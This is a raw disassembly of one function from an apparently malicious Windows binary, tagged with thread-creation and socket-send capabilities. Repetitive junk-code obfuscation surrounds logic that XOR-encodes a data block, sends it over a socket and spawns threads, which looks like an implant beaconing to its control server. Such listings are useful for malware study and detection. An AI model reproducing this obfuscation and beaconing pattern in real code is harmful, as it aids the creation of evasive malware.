Function at 0x104f980
Capabilities:
Create thread
Send data
Send data on socket

Disassembly:
sub esp, 0x178
mov eax, dword [0x10f5ca0]
xor eax, esp
mov dword [esp + 0x170], eax
push ebp
push esi
push edi
push ebx
call 0x104f99d
jmp 0x104f9a2
pushal
call 0x104f9a8
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push 0xda
lea eax, [esp + 0x26]
push 0
push eax
mov byte [esp + 0x2c], 0
call fcn.0109a300
add esp, 0xc
push ebx
call 0x104f9d4
jmp 0x104f9d9
pushal
call 0x104f9df
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
call fcn.01068650
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x104fa26
push str.__atl_condVal
push ecx
push 0xe2
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VC_atlmfcinclude_atlsimpstr.h
push 2
call fcn.01090630
add esp, 0x14
cmp eax, 1
jne 0x104fa1c
int3
push 0x80004005
call fcn.010012f0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
call fcn.01068650
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x104fa70
push str.__atl_condVal
push ecx
push 0xe2
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VC_atlmfcinclude_atlsimpstr.h
push 2
call fcn.01090630
add esp, 0x14
cmp eax, 1
jne 0x104fa66
int3
push 0x80004005
call fcn.010012f0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
push ebx
call 0x104fa86
jmp 0x104fa8b
pushal
call 0x104fa91
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104faa4
jmp 0x104faa9
pushal
call 0x104faaf
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push 0x3b
lea ecx, [esp + 0x145]
push 0
push ecx
mov byte [esp + 0x14c], 0
call fcn.0109a300
add esp, 0xc
push ebx
call 0x104fade
jmp 0x104fae3
pushal
call 0x104fae9
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov edx, dword [str.888888]
mov ax, word [0x10ec2f4]
mov cl, byte [0x10ec2f6]
push 0x35
mov dword [esp + 0x108], edx
lea edx, [esp + 0x10f]
push 0
push edx
mov word [esp + 0x114], ax
mov byte [esp + 0x116], cl
call fcn.0109a300
add esp, 0xc
push ebx
call 0x104fb38
jmp 0x104fb3d
pushal
call 0x104fb43
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
lea eax, [esp + 0x140]
push eax
mov eax, 0x10dc304
mov edx, 0x10dc26c
call fcn.0103a130
add esp, 4
push ebx
call 0x104fb70
jmp 0x104fb75
pushal
call 0x104fb7b
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
lea eax, [esp + 0x140]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x104fb92
sub eax, edx
push eax
lea ecx, [esp + 0x144]
push ecx
lea ecx, [esp + 0x1c]
call fcn.010079c0
push ebx
call 0x104fbb3
jmp 0x104fbb8
pushal
call 0x104fbbe
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
lea eax, [esp + 0x104]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x104fbd5
sub eax, edx
push eax
lea edx, [esp + 0x108]
push edx
lea ecx, [esp + 0x18]
call fcn.010079c0
push ebx
call 0x104fbf6
jmp 0x104fbfb
pushal
call 0x104fc01
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov ebp, dword [esp + 0x14]
mov eax, dword [ebp - 0xc]
cmp eax, 0x1b
mov edi, dword [esp + 0x10]
jg 0x1050223
test eax, eax
je 0x1050223
mov eax, dword [edi - 0xc]
cmp eax, 0x1b
jg 0x1050223
test eax, eax
je 0x1050223
mov byte [esp + 0x4c], 0
push ebx
call 0x104fc49
jmp 0x104fc4e
pushal
call 0x104fc54
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov byte [esp + 0x38], 0
push ebx
call 0x104fc6c
jmp 0x104fc71
pushal
call 0x104fc77
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov byte [esp + 0x24], 0
push ebx
call 0x104fc8f
jmp 0x104fc94
pushal
call 0x104fc9a
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x8c], eax
push ebx
call 0x104fcba
jmp 0x104fcbf
pushal
call 0x104fcc5
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov byte [esp + 0x60], 1
push ebx
call 0x104fcdd
jmp 0x104fce2
pushal
call 0x104fce8
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov eax, dword [ebx + 0x23b8]
mov eax, dword [eax - 0xc]
lea ecx, [ebx + 0x23b8]
push eax
push 0
call fcn.01007230
push eax
lea ecx, [esp + 0x9d]
push ecx
call fcn.0109e820
add esp, 0xc
push ebx
call 0x104fd23
jmp 0x104fd28
pushal
call 0x104fd2e
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebp
lea edx, [esp + 0x28]
push edx
call esi
push ebx
call 0x104fd4f
jmp 0x104fd54
pushal
call 0x104fd5a
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push edi
lea eax, [esp + 0x3c]
push eax
call esi
push ebx
call 0x104fd75
jmp 0x104fd7a
pushal
call 0x104fd80
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebp
lea ecx, [ebx + 0x2128]
push ecx
call esi
push ebx
call 0x104fd9d
jmp 0x104fda2
pushal
call 0x104fda8
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push edi
lea edx, [ebx + 0x213c]
push edx
call esi
push ebx
call 0x104fdc5
jmp 0x104fdca
pushal
call 0x104fdd0
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
lea eax, [esp + 0x20]
call fcn.0104d970
push ebx
call 0x104fdec
jmp 0x104fdf1
pushal
call 0x104fdf7
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov eax, dword [ebx + 0x23a8]
mov dword [esp + 0x90], eax
push ebx
call 0x104fe17
jmp 0x104fe1c
pushal
call 0x104fe22
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov ecx, dword [ebx + 0x23a8]
mov dword [ebx + 0x2194], ecx
push ebx
call 0x104fe41
jmp 0x104fe46
pushal
call 0x104fe4c
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push 0xdc
call fcn.010910c0
add esp, 4
mov ebp, eax
push ebx
call 0x104fe6e
jmp 0x104fe73
pushal
call 0x104fe79
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
test ebp, ebp
je 0x10501f9
push 0xdc
push 0
push ebp
call fcn.0109a300
add esp, 0xc
push ebx
call 0x104fea4
jmp 0x104fea9
pushal
call 0x104feaf
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov ecx, 0x37
lea esi, [esp + 0x20]
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
push ebx
call 0x104fecf
jmp 0x104fed4
pushal
call 0x104feda
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104feed
jmp 0x104fef2
pushal
call 0x104fef8
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov cl, byte [ebx + 0x2194]
push ebx
call 0x104ff11
jmp 0x104ff16
pushal
call 0x104ff1c
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
xor eax, eax
jmp 0x104ff30
cmp eax, 0x70
jne 0x104ff5a
mov eax, 0x71
push ebx
call 0x104ff40
jmp 0x104ff45
pushal
call 0x104ff4b
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
jmp 0x104ff7b
xor byte [eax + ebp], cl
push ebx
call 0x104ff63
jmp 0x104ff68
pushal
call 0x104ff6e
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
inc eax
cmp eax, 0xdc
jne 0x104ff30
push ebx
call 0x104ff89
jmp 0x104ff8e
pushal
call 0x104ff94
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebp
push eax
push ebp
mov ecx, ebx
call fcn.0104daf0
push ebx
call 0x104ffb1
jmp 0x104ffb6
pushal
call 0x104ffbc
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x104ffcf
jmp 0x104ffd4
pushal
call 0x104ffda
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
xor eax, eax
lea esp, [esp]
mov dl, al
sub dl, 0x54
xor byte [eax + ebp], dl
push ebx
call 0x104fffe
jmp 0x1050003
pushal
call 0x1050009
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
inc eax
cmp eax, 0xdc
jne 0x104fff0
push ebx
call 0x1050024
jmp 0x1050029
pushal
call 0x105002f
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push 0
push eax
mov eax, dword [ebx + 0x2390]
push ebp
push eax
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
push ebx
call 0x1050055
jmp 0x105005a
pushal
call 0x1050060
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
lea ecx, [esp + 0x18]
push ecx
call fcn.010c1c10
mov edx, dword [eax]
mov dword [ebx + 0x23b0], edx
mov eax, dword [eax + 4]
mov dword [ebx + 0x23b4], eax
push ebx
call 0x105008e
jmp 0x1050093
pushal
call 0x1050099
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebp
call fcn.010900a0
add esp, 4
push ebx
call 0x10500b5
jmp 0x10500ba
pushal
call 0x10500c0
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x10500d3
jmp 0x10500d8
pushal
call 0x10500de
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push 0
push 0
cmp esi, 0xffffffff
jne 0x1050121
push 0x10ec16c
call fcn.01066470
push ebx
call 0x1050104
jmp 0x1050109
pushal
call 0x105010f
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
jmp 0x10501f9
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push 0x104e110
push 0
push 0
call esi
push ebx
call 0x1050139
jmp 0x105013e
pushal
call 0x1050144
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call 0x105015e
jmp 0x1050163
pushal
call 0x1050169
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
cmp dword [ebx + 0x2118], 0
jne 0x10501db
push 0
push 0
push ebx
push 0x104e4b0
push 0
push 0
call esi
mov dword [ebx + 0x2114], eax
push ebx
call 0x105019b
jmp 0x10501a0
pushal
call 0x10501a6
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
mov dword [ebx + 0x2118], 1
push ebx
call 0x10501c3
jmp 0x10501c8
pushal
call 0x10501ce
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
push ebx
call 0x10501e1
jmp 0x10501e6
pushal
call 0x10501ec
pop ebx
add ebx, 0xffffffa6
push 0x331000
pop ebx
popal
pop ebx
pop ebx
lea ecx, [esp + 0x10]
call fcn.01007120
lea ecx, [esp + 0x14]
call fcn.01007120
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x170]
xor ecx, esp
call fcn.01090090
add esp, 0x178
ret
add edi, 0xfffffff0
cmp dword [edi + 0xc], 0
lea esi, [edi + 0xc]
jne 0x105024d
push str.nRefs___0
push 0
push 0x6b
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VC_atlmfcinclude_atlsimpstr.h
push 2
call fcn.01090630
add esp, 0x14
cmp eax, 1
jne 0x105024d
int3
or ecx, 0xffffffff
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x1050263
mov ecx, dword [edi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
call eax
add ebp, 0xfffffff0
cmp dword [ebp + 0xc], 0
lea esi, [ebp + 0xc]
jne 0x105028d
push str.nRefs___0
push 0
push 0x6b
push str.C:Program_Files__x86_Microsoft_Visual_Studio_9.0VC_atlmfcinclude_atlsimpstr.h
push 2
call fcn.01090630
add esp, 0x14
cmp eax, 1
jne 0x105028d
int3
or ecx, 0xffffffff
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x10502a4
mov ecx, dword [ebp]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push ebp
call eax
mov ecx, dword [esp + 0x17c]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.01090090
add esp, 0x178
ret